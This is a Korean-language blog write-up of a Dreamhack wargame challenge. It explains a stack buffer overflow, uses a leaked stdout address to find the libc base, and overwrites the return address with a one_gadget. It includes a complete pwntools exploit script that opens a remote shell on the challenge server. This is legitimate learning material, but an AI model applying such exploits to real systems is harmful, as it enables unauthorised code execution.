out_of_bound
문제 풀이
이번에도 hook overwirte의 문제로 one gadget을 이용해 푸는 문제인데..
문제는 아직 적용과 응용을 잘 못해서.. 걱정입니다
보시면 RELRO가 partial로 적용 canary는 기초라서 없는 듯 싶고
NX와 PIE가 적용된 모습
main만 보시면 될 듯 싶고, 처음 16 byte 크기의 msg의 배열 선언
저번처럼 stdout의 주소도 알려주는 모습이네요 이것을 활용해 libc_base와 hook 주소를 확인 가능합니다
그 이후 최대 46 바이트 받으므로 bof가 발생합니다 위에 선언한 check라는 변수의 값이 0보다 클 경우
프로그램이 종료되므로 check라는 값의 stack의 위치를 알아내어 0이 되도록 payload 설계가 핵심!
mas에 입력한 값을 출력 후 msg를 시작으로 총 16byte를 0으로 초기화 후 ret해야겠습니다
Exploit 설계
그러기에 hook의 위치를 찾을려고 했으나 아무리 찾아도 보이지 않았습니다..
그래서 그냥 ret를 one gadget으로 덮어주면 해결될 문제 같기에 그런 식으로 시도 하였습니다!
stdout의 주소의 제공 원인은 그럼 hook의 주소가 아니라 one gadget을 구하는데 사용하라는
제목 그대로의 의미일 것이라고 추측이 큰 이유로 적용되여 설계하였습니다
고로 정리하자면
stdout의 주소를 확인 libc_base 주소를 획득 후 one gadget의 offset을 이용 실제 주소를 확인
one gadget을 ret로 하는 payload 설계 이때 check의 값이 0이 되지 않게 한다 라고 정의할 수 있습니다
one_gadget은 이전 문제에서 설치 부분을 설명하였기에 여기서는 사용방법을 보여주자면..
위 4개 중 아무거나 골라 사용하시면 됩니다.
Exploit
이전 코드를 많이 참고하여 작성하였습니다
1234567891011121314151617181920212223242526 from pwn import *def log(a, b):return success(": ".join([a, hex(b)]))p = remote("host3.dreamhack.games", 9127)e = ELF("./oneshot")libc = ELF("./libc.so.6")stdout_offset = libc.symbols["_IO_2_1_stdout_"]one_gadget_offset = 0x045216p.recvuntil("stdout: ")stdout_address = int(p.recvuntil('\n')[:-1], 16)libc_base = stdout_address - stdout_offsetone_gadget_address = libc_base + one_gadget_offsetlog("library address", libc_base)log("stdout address", stdout_address)log("one gadget address", one_gadget_address)payload = b'A'*0x18 + p64(0) + b'B'*0x8 + p64(one_gadget_address)p.sendafter("MSG: ", payload)p.interactive()cs
고로 세부적인 내용은 딱히 없다고 보시면 되며, 그전에 설계의 방향에 맞게
stdout를 활용하였습니다
참고 자료
참고 이미지
'🌇│System_Study > 📕│Dreamhack_Hacking' 카테고리의 다른 글
basic_rop_x86 (0) | 2022.10.30 |
---|---|
out_of_bound (0) | 2022.10.30 |
basic_exploitation_002 (0) | 2022.10.30 |
Exploit Tech: Return Oriented Programming (0) | 2022.07.05 |
Exploit Tech: Return to Library (0) | 2022.06.13 |